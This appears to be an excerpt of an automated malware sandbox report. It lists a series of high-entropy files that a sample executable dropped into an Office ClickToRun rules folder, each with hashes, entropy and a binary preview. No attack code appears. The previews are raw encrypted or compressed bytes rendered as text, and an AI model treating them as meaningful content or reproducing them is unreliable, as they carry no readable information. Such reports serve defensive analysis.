Preview:	.<?e..\..@..kg........]30..w.dH..H}...L..D....'....2/p..FN....`.w..F....X=1...ps.).......#..............M=.........5Y...~.....2..8.Y-.D........ .w..%G.:..g...t....?..:..J.e.....i8..a$..@...8]...A4t\...g..Ek.{Bh..C......&...- ...'yH..R.M..t3..<.....a.d./D. .....;..WR.}0......:Ss..>....m1....,"..N.W....6.A...bW>-.......hA.....<B....4....L9....\|.E.h.#%......#f.V(.)..L]R....l....0...!...q.Z(.?....jo.btk.d.y.S..7.P.^oM.M3M...'...Z.$K....9.`...q9.p..~B.t(.j(.1W..&..>M./.yE..}.%..e.........am0#!+.....w6.L......[..~/.].....E.k\.&.....5.HR.GX...-.C3p....}...........p....O..h,.F-j.Y.N..Y../...O.....,.r.?y[..mP.i...>a.)i7I..Gs..Y.*.[i...Y.cr.T. ..-_.}F....0W...NQ.I .o.w.qF2..e.#.X.E^y.?.0.0.1..q.59.y%R.I.!0..V...r.f.7.o...{...._.]\\|.W/(q..n\|.w....Q..H4..I`...s.G.....)Q...?.........h..,./...0(%..H.P%.\...>..>b..+s4.\l.....`.a...F....{i. A i.E.lW....xwGc..../.....3.r..r.0..(..d~...&/.i...f....N.@..S...k.....w.....N..h{+3.M...Z...w...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703850v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1739
Entropy (8bit):	7.897232836938044
Encrypted:	false
SSDEEP:	48:p6zYLQBYPwrIlxg/FVFv8QMOQ5PRYhSwOtYMk0ozqM0qPJItDnojyD:p6zYLEYPdlIVOohaYXnThUUja
MD5:	02FCC14E56BC8258E7AEB435D5AFF3E4
SHA1:	D85E095D9887B2B31E98DE8D07A69D2B7ED55082
SHA-256:	4605F3050133B361E6EF5A94307E2B25D50D4F18FB20F914035F033C17600868
SHA-512:	E7600D02BF891D8A7ADB73780F4196618B3EEE082B667FFCA2370D6C09E151E239459B66CAE5810B12879F906829637EAB2236106BD1F9993C77E256E3EA9D6C
Malicious:	false
Preview:	.<?>9...k...g.y<..lw,e.i......... .......d.}..#.E..rH.tzE..."..$..........)3.....?.5..._...P].G/....\|]..Y.......=Z.O2cN&MJB..{.$...KJ.j.X..p..w.O....7.N&+.;s.yG.e...t.#.......Oo.[........K....cA.a..u./..[l..G~h$.}.?).....r%.6..{....p....Bw`.....x]..(7...$.....vn...Zt._(..s=.R..........E...\|..O..q..65.A.0.+.gX.L...(6.........@...r`j..1E.4../f...R.e./i..T...@...j.x...M.D&...C0D....#X.T...J.W.( ...........E.l.Sm....24h.qA..lK<.....T~...%....G......,.......\.W.J..j.V..1.?...`kY(.;&........U..m.....u.4.G....9.O2..G.i.. 1......WjI.d2..Z.....4.\|...rI5...O\|O...`.,Q.7I!5.U..[z..&...mKD.ez.,e.V....o.k....VS..A%.^=A....0..).H.].=f.K`cI.u..RG..\|.....F.P.ZAl..eL...=..Q=...x....K...>.}...:...n.r..%.I]l..`N.G.i....W..b....,.P1...#8....8...:.4.o.....&......?.6I........d8..1.........[..d../h.u....8..vQ.p..k..:.SH..SO...O..P..z..'KA]..;V^]1Y...p...W...Y._o..f..S.\|.\|..v.... ..\|..^d<..K......9.5i\|A.d.'v.&....PW.do2...My.....~.3.F..w.?.....p.[~.f.s..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703851v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1776
Entropy (8bit):	7.88095068667487
Encrypted:	false
SSDEEP:	48:HiLWHLftrGys2smnklIdJh21DUYh6eXyD:HiKrft6yXnkIJY1NXa
MD5:	165ADB9D7068E1252B19C332FBE3A314
SHA1:	7F99ED2BBA3ED77A645D80211EB633A5E5D101BB
SHA-256:	51D862EC6DE616CA311CF7C7A4784BA31986EF5A1B69B0F115C6C61F7E21BEF8
SHA-512:	327F327C7363031E441A73F69527232FB7A3D12128460B60E40F0C2A2C89961E07CE583CD513A94D94F7F7BD024BD13366EE10D5BBAD44699437C8AEF78EA15C
Malicious:	false
Preview:	.<?Tz...DV....b...c..)xY........+.V.u..4.;.'.p.u..C.oW.y...l..&....V...........!.`'........}..o.."...aB....MD...L.y.A./..:./~.Sl.3..w....,}..+1I.a.u...i.x...'.\|Q...5.b....,......&.......M.)....k.f.H.4.I.!6.).S...<....4....(.z...q....M...~.k......7..........f.F..."ul.L....7.Q.'.F...Q.^..^..{.rne.iY@,......o..i...[.......g.z.>4........c.N.V...Gm...3........9rz...\|._..:.Dz.k....#9n..&5#9..o~....w....04n..j..ew..AQ.........`.....?.6.1..N..d.....e.W.Q=..?.....se..'...eCc?..}?.H...qa.1C..\|9...G"..Jx..A_.....g.X.H.......R..jk....)....^j...o.D.>...'..`H...........'yY3..p......?.C.1.BLZu..T.U...f/Y..2.G.G.{.Rg#.I`..P..^.].z....\}:.K.$x..]...+../2%...v~..v.`B..c....UU=....3...r....6I...2..6.JP....~..n@HR.(.)Y;...<tQ.d16....N.C.$.!....."...vb... =L...VB@....-<.+..X.8..'..J.`1..5.7.........B+.....L.....-..%..q.....l..,.d.k..G.B>Id.......>....\|K..[\.........X......7..5..n...y85.t!9...K..ROTt..6...v.'L.qK{W}.tg"6Z... ..D.D..->8...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703900v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1724
Entropy (8bit):	7.882178117082259
Encrypted:	false
SSDEEP:	48:ttT7Kp2EjbC6jkuGLDTYzMm+9u/hbhhmM5OdyD:rT7Y2EjbZAub/qSu+Sa
MD5:	8DEE42E1FBE16538BB4F84F720ADAA6D
SHA1:	3DCC20810BE5C5B4C95ED15E83DDA7157B80CD3D
SHA-256:	950A863BA7DE3B74EF449AB9145992B2A9625839CC58D4B20EB87B8666910AB4
SHA-512:	7D406D1108D57F17D8331961D15668D30C5659FB876F9FBB8C4407019672E7C1CE3CD4D34C239B2F111C7979A1B988DC8719603B3BC032C0CF9DCEEE4A2A975E
Malicious:	false
Preview:	.<?.?< k\|S.N....(....V.@xl...........(.N#..g.p...'....z}9....UZ...!b..F..=.&.:RO.{...........2cE..r.....H..~.....y..Qb..f..cG+..P..$:&U.V..{..P].y.B....n_.\|Y..6B.#..N.".?..79.!.Sr.k..]CU.D....{..L.(pm.5.?.T(G...)m<.L.w.P{n..j._...C....'~..,.=.j...:.K....;.....e. ...$.........~Y......\Q...).`h..\|....[!'9 ..(....w...O....6...i..WC.......4rW.n.Xl.u..........."..Z].....DN.`.#.H.wK..w.g2h....aRsgU9...5...K......H...X.$....9}.T(}....;+<{DT.6c;F../....%w"..X..1q1.Q5.8..zz'..3.@w..\|e$.......>.S.\|WI>.D..".4h........Pcm.G.....F...........6.nF...(....'....J....e.L...n.?D.\|....8....A%..N..4..P.....A.l:.........!x.N.,A...Yu..<.o...k..........&....U.J...../UB.....6.E&..]..{.~]..ai>.V.. .....6.<..a.......C...j.7/.....h.2q..'y...u.......n_a.=..,.6kS.l .r...-.o...9..t...@e.-19........"..v8y.......W....i.,.C.k.x.N.5....V...^W..&....S>.......8....\.c..... ?......s.8Y......>osY0...........K.h...@.<.?N.....d../...<..(......5s....`.&!h.iL%..w,..Q

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703901v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1761
Entropy (8bit):	7.890085334649157
Encrypted:	false
SSDEEP:	48:yo8WV4mRnppL5z439lH9hp75GXfJ3/G7PCUzyD:yo53RHZE57o9/G7Ja
MD5:	7107D9705BF2360B0D23E2611934DA29
SHA1:	7C3036C25EC5C73183B9E4CE75CC05F6CB17A7E1
SHA-256:	5C701613A52542035250479E72CA052DF18398FA8345362FE034F4D8D1AD5CD9
SHA-512:	9F50A59E6EE30B8C9FBBB253164B31E1A290B57CB0E3FA9380262FB900B71022948F5EB8BD10E8193B17DB8F8D931B367D77C4690CC17DF8943D188DE4281BBC
Malicious:	false
Preview:	.<?...l.F..Pt.X...Q. G..sN.........tg....@X.....u.6\......eyn....Z.D.....''...T..+...'........l....6....?.2m...s.....O..-.."..4......o(A..D[0.D....`.h\k..6..J......[]W...j2...z.5\|.Nx.]........I....I=Z]aA..m.E.......e@;...wI.p....u...z..6.....<..>.$.o.....B..Q27n.1Gsp...........&.`..O.../....\f..!...\|E...r.e...dc.#(.yY.....y......V+..Y.h.....Q.....x..{Y....6.y.~..!..(I....qn.D..{..0....)q.!cK.\|n.Q...Ynp.Q...d.oI.qd....b..V2...$. m....ZlhX..cZ....%qNY..r.#....W.G..NA...:R..J.c8@!t.....j....q8..lOK.!.....YA..J.....]=.B..j.....6...q.s......j.....Y.?h.x`$..sR....c.ar..#...=...4.\|}..g.^.y)....].. .}..,..........)=..G..p.g_.#.j.l..a.............'.i.g....^.-....7..c.AR.Z...!GJ..&......V.fN.....e.jf..z..?..G.L...x...e+..V2..y"@H..W..h ./o`..\...Da.n.04..Q7.d....j....~e..NmW...,.[..........;S.J.......b.gz+.vI...ym.2......@?$G.M....T^_....7W).o>ibR...2@.yb.UWk....y....V.b........X>.R..q.(.....Y.D.+...........G.47..+j...MB.uW&).S ...V{.Hnx..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703950v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1700
Entropy (8bit):	7.879996930141021
Encrypted:	false
SSDEEP:	48:rXojF3xV13KexI+5miMnjJvINUNcoiSRaCYRZk6E/yD:rXo1/48I7twNUNY7J66E/a
MD5:	97CFE4C3439B757472607B5A4ED304C5
SHA1:	2B353E9F1B30A2291A8AA31F1619AD471BC7A4C7
SHA-256:	74053135B1F55BB2E43E9B7B1D771A83FA49117D968FFFDAC0FA5382C8182C43
SHA-512:	83B5C985117E5D50A1F59146954F32B6B8747019FAB99F914C37FCA6DBF4C527F8234E8DF0E2F7E4A20F4D21BA4D3F89181F5F6A872EAEF05C4B2CD36F38DEE1
Malicious:	false
Preview:	.<?Y)2,...E.A.....a..HZ.y.+4.`.d.>......nzi.D....H.~.....w.c..bB"&p.W.AFd.t....o.L..Lh...#.......oO...d.\|.D..9-`.d..E.]Xg...X.\|on.#x..\..TG0......?H...P..+?...]..-.{...4&..&....?...?.......'s.I.v....Q......M........!.k0....Q.f~.3n.B.=4..L....&.....8.X'..~A....A.{...^....B...T.......C...P+..f...L<...".=.I.)~...w.......:...Ro.hm$...9.6..1....j<..9N.Y9.....T..2......H..C..AWo#.I'..\|./..#.^A6.cy ..iI#-...F...'......)...h.....q l...f..)0\.c2 .Y.!K..d..,).....9...l.,.B&....}s."H..........&=k._.z..D.+.OGp..z......QZ4..J.._\.^`...m...zY.Wn.&.7.>4ym...:.\|.j..FB...P.N.......8.. .KP...;..2. ..)..m.......{.nV..@..j9c...9.g.w.v...+h.@...~R.....rG......h`.....$cC.Q#[k..L.:..y..._\|......q.F.Zg....A............a....x{..W.q.V.j#\..^$.5i`...!....Os.{..N.O..g.5...l......*H..AO.>.A.%5q_.b.?^.~TC..^.....+...0C............#.}..u..../.L.z$....t.L.5o_......b\b..._..+...0.=..,.6~).F..O..T]........(....w..F...?.Y.>.S..\|}..~........{~...T=WA.w.L.6.H.g....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703951v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1737
Entropy (8bit):	7.889177347346285
Encrypted:	false
SSDEEP:	48:dp20j+hszDz9OjBM6ELbwXF/fGY3B1304uyD:rN+hsQMBLbwV/pB50Ja
MD5:	F09653E2F46D40A1D33C68F3F1AC1F88
SHA1:	B520791B0B92535D15F30DC336D3050BAF356317
SHA-256:	928E0294BA0471361032ED2B24BC244E256DEBFFD40FEFA6D95983B17C1D4322
SHA-512:	93E6A10B7D145EBFBCF595A7B921404E3C6DE58CC411E3CEF20C1305930BEECCD211FCEA9DF38BDD496DA2A40D4E4DAE25F3DB694235F712E962D82D2D42C6BB
Malicious:	false
Preview:	.<?t.r,S..Z'.......k.,E{...p...]....\|...}......n.bF.i...C.!..cT+Y.+Ow...T........%V\..y.6.+.C.......V..~....`...\.....O....3.Cr..I...[.O.k....Jd6..%y.0Y];._.C..&H~Z".......XnCM.<...@.e\|.-..rhj.w_.XZ.K...n..,.....J^.2....:w....MD...qf.........U....../......;.&.._..XX.LVH...=.....md...[ITM.R........Q....n...$.N...i...7...V..-...RWk.]5..o..m..h.m?....4<.FF...c........1_...^t."....w........{...B....>\|A..R.68ay..Cl\|j..7....F..>H.&.....C.j....... ......\|G.3....I......tV`..v6..^..d]...'m.C...}.wr.I.84.&.....U.....n...\|(]...f'.?..r0.D@.....E.O...{...&.zl.E.h...]...\|a;}....\|].\|...\|I.2.y!..r+.y..'.-..qY..C.f.x.t,..c.Y.<4.....x.M.........M....c..J.2...B....`/R....> ...:I~......u.3.$%/.a.s..YV.#P.f..1'......f...JfR'..........v.h!?.........xwZ.Z.s....LU..I...b....w...L....)..g.^V.......w...%..=.5.K.._4........A.....=@.e..kl.qc.2J*\|.{..(.Og h..w.-.m.&.....}C..3)s.f..41/.u..Y..#.P.s.ND.....F.7)@_E..}I....xkA....L..l"....Q.-%..~..0>..1..?W....4

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704000v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1716
Entropy (8bit):	7.875440456672299
Encrypted:	false
SSDEEP:	48:UEtSdUdHvkELSfR5j5h1JJvROkcE38M9vyD:5SdAMHfBHvROA8MBa
MD5:	57901C38A78421E20A543CB7B5D5CF86
SHA1:	C9932E367009BD9ACBBFEC6C4728302BBE08C187
SHA-256:	E6F8EE102C1ED9B132568DE38227F5C1536E6A2FAB4D2CC21C31F9805A30A45C
SHA-512:	93B734FA778C2DAF6A135FA790D71B955621E649028E554F2591946FE6A35ACA0AD400444383C6AC833987A83D74BF3F33A902EB06D83563A973877F1B044DF0
Malicious:	false
Preview:	.<?......q.{.L..k....A..r..r;.".._.r-2...?..R...l.1N_F........F...8..@.$2.rK..H.$.Vn...H.........q2.._.6.ZS(.a....f.z..C...G..h./.m.P..>^.Yq`..^.uK.Q.+..eA.K.Rxog._).....S.w.1bI1..,..;.u..(D'.....Z...g...S..sJ....B:.teks..8U]y.K.....].{.2.0/0+......h].;u>.E8..D...Ro.<.w.0{../.{O...V....=.a.{.k.W.w.#.eP...8=...n......$M..........W..s\o.N..] ..'G.tL.....!HP.?.1..:.i.....D....C0...).9...h..$.bBT...\..t..BHh....4.aV.....W...!.._X]...'U.I3.HH..H.T}.`cHV7.....].....e./..;......>P}.~..^..+....=~cR.W........u.8.e.....Z.y..k..;.y.no...c......q..I......Ms.\|w!...1...~....4/q..]m.}.....z.....0.......<dF.."...r\...Uim....%{@._.?_;..h.]=A.T...C.q$.BZ.P.-I.;5p.Y..m.A..._...;.B.,IUu.u....L.N..\|....F...k:.a._.K...q.......@...n....."\.;...$..BmI4.4.q..d..`o.:.E@....~t49....z.3..Q...'..p...g../..I.....L\|.'....T.......0.J..-..UWW.W...fQ..uhiC.nT.....}....(...H..3.v.Tq.9.......5....a.v..P06.....+....e.J.!..EF..X.........Nt...~-.s.X4qu?@.'d.X.9O<...d..Z

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704001v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	7.867276895648382
Encrypted:	false
SSDEEP:	24:bqBzrqB9He4uoDnk4ui6czO3JYV8KeHD4IkHKnT/DJK0HGHbmNCxyLE4zhpTIw1X:b4zrqbVhWyz8KeHD4ZqTrJNNSyLnNIyD
MD5:	E1E429B28E9DDC4D1A4EDA2C70FB28C8
SHA1:	C9DC9F52145EEBC213D8FAA6600535C666DC2F93
SHA-256:	39D2E33D3D3425EA3FB8BEB85B04542EA17236367C2257B41390A73DF9F95387
SHA-512:	2DAC5A0F73DF3FAF28A14262E0102FCF68BC29CBFD1BF0D22F5733107593FD079816F06706DB6BEFFACAF4C4ED94EAB3BE2EA5730BDF510CE665016114260030
Malicious:	false
Preview:	.<?y.P.. ......V..G.Mb.6...=,....x.{..H.+.$"..t7k.....G..f........v.HtW.F.l.d..Wf......7..@HR....;.+_'...K....J.R.E.....CY.".iP.......,..@'.S..@.5..J..8....S.'...'Y2t..6.h..9....ZT.OI.iS.\..;.Aqn.>.....Li,S_.U...('f....:..t.z.....Z.......Rx..~.AL..@.H._..M.(.#.D..{N...<B63..Vvo.w}Q.S.C.@r.Lh..q..w.x.'j....S.....~............~....~..{..o.........5.Z.}(%...0....Z.T..W..T......r..7B>Y.[...i..A.o9....m>....#.%{.U.xK....Z..n+..W6...mj.Vl..K1.p.h.S..er.t.....<.....r...x{..LE4.^:.N...]VP....C.t.N..^....o*..y..Er.S.5...v.$..g9>j..S:}/.L...q..Q.V..v..s...(p..}_..%.5YN.l.3.EY%..G..V..5V...D...m.+;1I.....u...1.P.s...y.......H...b..^.m..0Ad....:..d..Y...T....Y..y....pc9.o..9.u..;..K%Z..,R.....R..H&..P8..(............%n.ri.-d...A};...U...0..b. ....xk2C%...\..._...../...w...9.8..\..8.A\|_%.Ql8.\|.M..X.]...kBs..\|.qU;..w`0.Q...b.Z.R..."..M............rlL........C..;.q..B.q..h."R....RI...$..D......#.....n.d.6 d....... Cu.i.....M.U`.(,..b..x..t.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704050v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1690
Entropy (8bit):	7.888394229376989
Encrypted:	false
SSDEEP:	48:1ixEHmfGYj3QzSt0FA1quZlMFxzuzhMSyD:M1j3QGtoA1PZswzha
MD5:	7356C63AA3DD4CA14751EC00BCED9CF9
SHA1:	1DDED6D2A96CBFF5FDFD657D39789E280E303E79
SHA-256:	7B354EABE841B2350A0F216FF9DBDBCA9101D013F6B7CA5527E3203F2916FAA0
SHA-512:	38A8250C2249AEA6F7B4E579B47E3EA63EF6BF79BA087CB6091F46EC645B412DECA99AA41CD1AE34DE6F2C457BC9C8131EAAB667DAD797C24D3743A045AC16B4
Malicious:	false
Preview:	.<?\|...-.............a.r..x..+..Y..F..7q.{.?..R....0..vA.3.gU.. .....LG~.....L.3b+...,s..S..$....}....T.......?.Q..LQ.H...I.bRL-..]W.v...O.L......c..BK..........K#...4H..D.........F...ie...9<]..P..)....X&l)(...k_V.\|.m...u<2......;.6mN.........,3J.\|.=M.a.Zt..=HV.b...1...wU....F..Pk..2d...].......vp...S...vA.IEri.....J[.B...'.K.yv>+.$z..4......?%Mv./.D..a..5.j..3.Z%LR-...U.qb{z..W.\T.....5..g....}+....38....S..7.Zy....y.....y.[..R.x'.Tt];~..ms......Z+c.=....;...}..r...8..]..LWq...5..1.....t..!....#..Q..V..^..5.. .2..,.w@a.g.>.........?5.t.B..X..4;._..C~...+Z... D.^b.e_.~..-Uq.?..79...=.Z......(a_.&..6...y.&.}O..uU#..]my.U7....&...}..z.gF.~C...?..N5C....j(....+._.9E.BEF.<..K.zB...L{U.....F....K.o....8R9..g\.2(..^m...-F.$...^....$...$s3sw^...f.."B.0).{Mr.r.....l...O`&8..:..K....E.i.o..L..E.5.y..s1l..>.z.5.>....r......3.....1..3<..d....=fj...o.CW....r./.2\.h..x...!...........x.8.Yn.i.....+I.MIZ..}.3....C)C1.z.U!..`2;j=.........,ChFYU..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704051v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1727
Entropy (8bit):	7.874549466637965
Encrypted:	false
SSDEEP:	48:gH0QVznl/Kjf34HG+VGc7YwkiIkYo0bmyR9C9uGk5VmyD:gHl/Kjfoj4iHI9Cf6ma
MD5:	DD19C8C737265FF1CD43673150C7AA7B
SHA1:	ED0F4CA1C73BCA8ECBC0B627C1DC91970EEB1803
SHA-256:	AF1A7C69B183C38657FA63A31F37CA235B156125684AA7C2D9B4FEABAE071018
SHA-512:	A67120D70E3D82C91E906BFB9E7888AB00E9FE4C2C3B22C2D0408A0D2FCA118A666E50DA49AEED6662172672EFFF9AC4C08CB1A401D8553605E12543A7DFC8EA
Malicious:	false
Preview:	.<?\|..^g.Y(...^h.r/.......!.H;....C9.d.0.F..hD.!.\|..~X..X.a.t..X.......~......ku$.S..pi........P....M.=.Z..%.j(2I..{.h.I7Dq..4...C..F......a~.c....3].+.S.....7U.c^j....(A..a...p(..EgM.s...}Hp.ry.r.)+....)7W.H..rD.p...i...2.dN..7....&9.v....#......#.-..p......<....t.....$.......n...%<....&..1....(^.....\|..:..B.M..~a.t..2.........H....C..w3oO.hL..{y........M.b.=k.8p.V.%sJ.f.r.fF...$.Y..}..Yo...Mwe.9.....A.....Oc(:.o.@.....S....LTv...3.Q.e^:.5....._e.f.2<O...%...R".^/...BS...K..M...7.b....;.eY-.]-.V.ub..d...;.....x..........Et2..i.=H..W...,/3.....:o.....8d.o\|>.3f.~r.<g.D.W.BwB.7,GP..6....Q.^+k.....+.L.={(..a.2..7.fVy=.v[9.1..*%...i)..\|.jav.wh..t;.f."......W.0.....L.....{6.6b..l.VPIm.6.Q.;..8`......5..-Z..x..=..(..kZjr...YH..T5.[..R.u..js.GiV.=.sv.{..g..a&.......... ..................f.ofB.J..^.........!.....48...k.i.PW...-.j...ZC.,..Q...S...31.7........y...Mx...:..../.....#.Bg......Q.[.+Gl......;8.50.<u..z.5V.z)\.uV.\|..9t...\.Tx=...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704100v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1696
Entropy (8bit):	7.866932704445586
Encrypted:	false
SSDEEP:	48:pvdsn5dBhI7tQOFVKbcsdblrtKlAi4iyD:h4gFVKbcsdBkAoa
MD5:	EBCB2175B1EA74B357EACEB4088C9C2E
SHA1:	EFE9BE63CB2C5F64F51EE37A57C966ABC4BFD96A
SHA-256:	E6619C48526000AFAA51D9AC37FBA39B320BA04F56139B45D82122793F1CDA3E
SHA-512:	4C6C4F7B9DD15312BAFBA5D66C3122D7A5F3E6DC8B55CBA16EE594844F481A099D1083A139277E24AC2D6AE40636187DEFE7E1DBC9729473024D24935F6873C5
Malicious:	false
Preview:	.<?...!+j..?.?a..3...<h..hj..eR.A.s.>...%...1.g..U S".....Ke1..9/..?'.p#...{..;.....Z...~_..GO.m..6....P.>T\..%x)..y....(..8.....M.o....G..,..5N..{T..Z>......O..X........}..>.qZ ....^H/./%..(.t...m....[./.....w.['N...I...'......J(...]{...v09.J.z.c.&..m7?..j.....CJ......K..Z....8.2t.E.-...Z..x.._w.6.I.g...h...o.}R.......8..cT5. ....{..`..g..'g.@.-}D.....9..+..i..j...'~.....i.O.9..=..\.,...}.....I\.......{+......cO..\|..2... ...J%.T....f.k]2........2.(W.Yh...ZzB..L.R.B6...L.z.....{.b.F...,1.E^N]:6F.!..=3B..D.to.Z.3..j\..mGT....T._.......^U......S..g.4\|...h3tZ.1O.....P...q...W......&....,.0...~.DV..Q....m.:.0.}..%...d......;.l..t.D.. T..1.z.....G....]w.M..zG...2.'V..VZ^..A.e.j....z.:O.......,frUy...h...U...(....Z.K5......1B ..Mq..J...SW....r.....Y........?..f........s.....I0.A...9.[T.K:...O..$..E..Bn..@...J....E..k.+.6.....g......[9..l...X.2b.x..q/.........e.[...V.U...SI..P..u...-'..JruT...o..r..K...u.l~A, DN([p.S....b...).1+wN#.w..D

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704101v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1733
Entropy (8bit):	7.881511893790633
Encrypted:	false
SSDEEP:	48:e2u3b2J8J4+/dqNKKj/uND+DZaG97Jj4imyD:5UY8JPVqN3/KD+DZJ7JjCa
MD5:	B43BD9D4BED3E019522442D73510D643
SHA1:	160B88DC782D06A8216EC783D3FC7B8475FD8A41
SHA-256:	80B89BE701E1C3729AF47BFF69D65DB82A82F926F3A2200BC1FBF9ED4267A2A7
SHA-512:	F97FEB0BC5708CF82EBE0C7F154F0010A306F05B1F627D920B5A3DAB4E96EA244571DD1273771A44D7AE504F0A995EE0937245F39EDECB526FDFACF92D28C099
Malicious:	false
Preview:	.<?.P.../..e.9.......b..Z.....e.?..pn....d..C...1S.g....G..`...:.x.H)<.v>g.n.V.Mx....3t-^......%7-..!C.).>.../.....K.+.yyd....(h...\v.#.N)...^.K_.]'.0l...;..Fv.'....O.....K.......y.d....^:Ol.`.0..Y)..2W.....~..>[. ..V.="$wa....7.\ha..".?..wM#f....4...y.f..VU.+../....x.i.N]..[$.[-\...b'(\|..1..xdO._.L....)....YmZD..ORZ.Z.rQ.&..(T....I.qf..W....A$...yU.W.(...$......b..:A.T.p...BI.Pd.}.WCW2U....OX.].\&..1.9....^..E.V<.w..;.].......%P..b.5...fm...mQ]o.&b=.,...7.8..0.6...@..T.&:z8....Ot....&D"{\|W[..!..D%.....0p...i. .\|R..jy.h.G$..X.7........q..ki9.(p[....kW!...5..HysWeP`...R.....v.K.ul........m..Q..1..X[D.F;U..p...m......."........',.:...G. .. .f.he.b...M{....i.z...c..........O.9T..Q.<..k...n%hB...e.a......u.z.S_..g{.\|.$ty....>I..Y...p0y....=..s_.G.@.e.yP66%-..#.Z.....+BZ$.=.Q2.%..0.Y.].....U.?.s....[.0K9.U..o...>.,...M.o.v.+.:../..&.K.....u.@..iH^.ict...+7..J1...P.i..I./r.Yp....&....F.....).......$.gs..A....d.u.B.dg...p..y.-.J....s

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704150v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1696
Entropy (8bit):	7.898107041874384
Encrypted:	false
SSDEEP:	48:IcXE9UBXXBhEZFKuXJO//nfsITRiB4pgdrtSpyD:IcUUXkZFKuX8s9B3r0pa
MD5:	98190FB0B38603D190B6852159B5C1BD
SHA1:	FC1B5393DA96C8D12FB068869A9DAFCBBF581377
SHA-256:	18C995D87CDB44751F56920BFBABC39941CC22917D32CF0CAA8E6B9C8506F073
SHA-512:	C93F9F6DA22173EC8F92BF42539861DED6E3E63F3CB0AEFADED48CFAA5F47C1547D6E34BC3DB10643C6A772B782DA8C2B5B6387AA8100ACA266DB9BE244670AA
Malicious:	false
Preview:	.<?#.P.a..ep#.... q.q..?=c..'.8z.....I."V.5....#.....O...aA...._.e...P..>r.j....d.I.A..a..'..C.....g........>....z...q..W^...)\|.iz...KU.....M.....gU.+..\..4..~.......S..J......sG...?.9.......Kd....;...D..Y.4.V........^e!/...C,..r ...=mL.&.5.O#.f._.,R..@.......HD...ydK...%.."B.N....1.f........Y`8..a&nf...V....(...D..OK.+)=..r......._B.6vA...../..+...ue.]... .e....q..O...o....K...<H.r.%..w.}/ b...5.;..m,=.oh+....$.h.`....-.B\|.....w...+...+..(.;.OQ....1/...N.........=hm8.`.b0....F.[n...t.d.xK......b.3D.H.".4%?k.`..;G....2.a...B..#.........K.Bs.r........5\|..\|...._.'a..x....y..I.P6....$f...<.w.,.r8....$.s...]..1P2.u..>-<.i.n[.`4%"...{..7......4......b:c.`f........r_5... s...W..2z.l..........=..D.8S*S.Te..h.....<.Rc.%.s.Es..Q......%z..492V.r!.E.......IO.]..._......1..Z...........T..$.....H....E.....n.".f[..'......L.......C..u...y}\|M.?.M2.p.../RQ.v...H.}].@9.1\|B..{.\|'R.M.y.Z..nE.^wRP...E..i...>...hH..%#4...&36.3'.-.......1M.f.....V...!..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704151v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1733
Entropy (8bit):	7.87852309260909
Encrypted:	false
SSDEEP:	48:kmOUqr/2LRuwYKRI2DRpSBYm394g61hc7CtyD:kQLRufKR3DuBYVg61pa
MD5:	D7A0F34F16F2C1498056A0C4A3EA6817
SHA1:	275DFC87F5EADDABC7ECA6918E139080B172068F
SHA-256:	0269B1859CDACFF412CDAC95DED85C371DCD531A3D642C3C8BE047BA400F41A8
SHA-512:	BA92960596AEDDD3A29061812E849DEEB99F70487C642A2788475BEE2A52BCCFEA52561DB4E68721C44E058E41E6156A18798D41837A3936AF6FFD7C3DE23EDB
Malicious:	false
